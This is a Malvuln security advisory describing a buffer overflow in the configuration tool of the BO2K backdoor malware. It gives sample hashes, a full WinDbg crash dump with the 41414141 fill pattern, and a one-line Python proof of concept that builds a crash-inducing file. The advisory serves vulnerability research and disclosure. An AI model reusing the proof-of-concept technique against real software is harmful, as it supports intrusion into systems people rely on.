Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ca4e5a6ff033b62fa59de5a5dd24c7f9.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BO2K.ab
Vulnerability: Local File Buffer Overflow
Description: PsyConf - Program configuration tool doesnt properly check the executables it parses. Loading a specially crafted file triggers a buffer overflow overwriting ECX register etc.
Type: PE32
MD5: ca4e5a6ff033b62fa59de5a5dd24c7f9
Vuln ID: MVID-2021-0119
Dropped files: 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/02/2021

Memory Dump:
(414.e80): Unknown exception - code c000041d (first/second chance not available)
eax=001c0000 ebx=023655c0 ecx=41414141 edx=00000000 esi=0019fe0c edi=74de3cf0
eip=00401e17 esp=0019f3c0 ebp=0019f604 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
*** WARNING: Unable to verify checksum for Backdoor.Win32.BO2K.ab.ca4e5a6ff033b62fa59de5a5dd24c7f9.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.BO2K.ab.ca4e5a6ff033b62fa59de5a5dd24c7f9.exe
Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0x1e17:
00401e17 8b540150        mov     edx,dword ptr [ecx+eax+50h] ds:002b:415d4191=????????


0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+1e17
00401e17 8b540150        mov     edx,dword ptr [ecx+eax+50h]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401e17 (Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0x00001e17)
   ExceptionCode: c000041d
  ExceptionFlags: 00000001
NumberParameters: 0

PROCESS_NAME:  Backdoor.Win32.BO2K.ab.ca4e5a6ff033b62fa59de5a5dd24c7f9.exe

ERROR_CODE: (NTSTATUS) 0xc000041d - An unhandled exception was encountered during a user callback.

EXCEPTION_CODE: (NTSTATUS) 0xc000041d - An unhandled exception was encountered during a user callback.

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00000e80

BUGCHECK_STR:  APPLICATION_FAULT_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 0040ff6f to 00401e17

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f604 0040ff6f 0019fe0c 000003e8 00000000 Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0x1e17
0019f634 004103af 000003e8 00000000 00000000 Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0xff6f
0019f658 00412819 000003e8 00000000 00000000 Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0x103af
0019f6a8 00412258 00000000 000a07fe 0019fe0c Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0x12819
0019f724 0041220a 00000111 000003e8 000a07fe Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0x12258
0019f744 00411325 00000111 000003e8 000a07fe Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0x1220a
0019f7a4 0041152d 00000000 001307ba 00000111 Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0x11325
0019f7c0 761147ab 001307ba 00000111 000003e8 Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0x1152d
0019f7ec 760f52ac 00411502 001307ba 00000111 user32!_InternalCallWinProc+0x2b
0019f8d0 760f4e4a 00411502 00000000 00000111 user32!UserCallWinProcCheckWow+0x3ac
0019f934 760fe4cf 00c8edc0 00000000 00000111 user32!DispatchClientMessage+0xea
0019f970 770e537d 0019f98c 00000020 0019fc5c user32!__fnDWORD+0x3f
0019f9a8 76052c0c 760f4c18 001307ba 00000111 ntdll!KiUserCallbackDispatcher+0x4d
0019f9ac 760f4c18 001307ba 00000111 000003e8 win32u!NtUserMessageCall+0xc
0019fa10 760f4723 00c8edc0 00000000 000a07fe user32!SendMessageWorker+0x3b8
0019fa44 761303ee 001307ba 00000111 000003e8 user32!SendMessageW+0x123
0019fa68 761300f3 00ca0690 00000000 00000000 user32!xxxButtonNotifyParent+0x54
0019fa90 7612f5f8 004ed7f0 00000000 00ca0690 user32!xxxBNReleaseCapture+0x141
0019fb30 7612ea92 00ca0690 00000000 00000202 user32!ButtonWndProcWorker+0xad8
0019fb5c 761147ab 000a07fe 00000202 00000000 user32!ButtonWndProcA+0x52
0019fb88 760f52ac 7612ea40 000a07fe 00000202 user32!_InternalCallWinProc+0x2b
0019fc6c 760f43fe 7083c410 00007ffb 00000202 user32!UserCallWinProcCheckWow+0x3ac
0019fce0 760f8401 00000000 004205e8 004205e0 user32!DispatchMessageWorker+0x20e
0019fd14 76110d5e 001307ba 004205e0 004205e0 user32!IsDialogMessageW+0x101
0019fd40 00413a80 001307ba 004205e0 0019fe0c user32!IsDialogMessageA+0x4e
004205e0 00000000 00000000 00140028 4a60bbbc Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+0x13a80


FOLLOWUP_IP: 
Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+1e17
00401e17 8b540150        mov     edx,dword ptr [ecx+eax+50h]

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+1e17

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9

IMAGE_NAME:  Backdoor.Win32.BO2K.ab.ca4e5a6ff033b62fa59de5a5dd24c7f9.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  396c698b

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID:  FILL_PATTERN_41414141_c000041d_Backdoor.Win32.BO2K.ab.ca4e5a6ff033b62fa59de5a5dd24c7f9.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_FILL_PATTERN_41414141_Backdoor_Win32_BO2K_ab_ca4e5a6ff033b62fa59de5a5dd24c7f9+1e17


Exploit/PoC:
python -c "print( 'MZ'+'A'*72000)" > dirty0tis.exe


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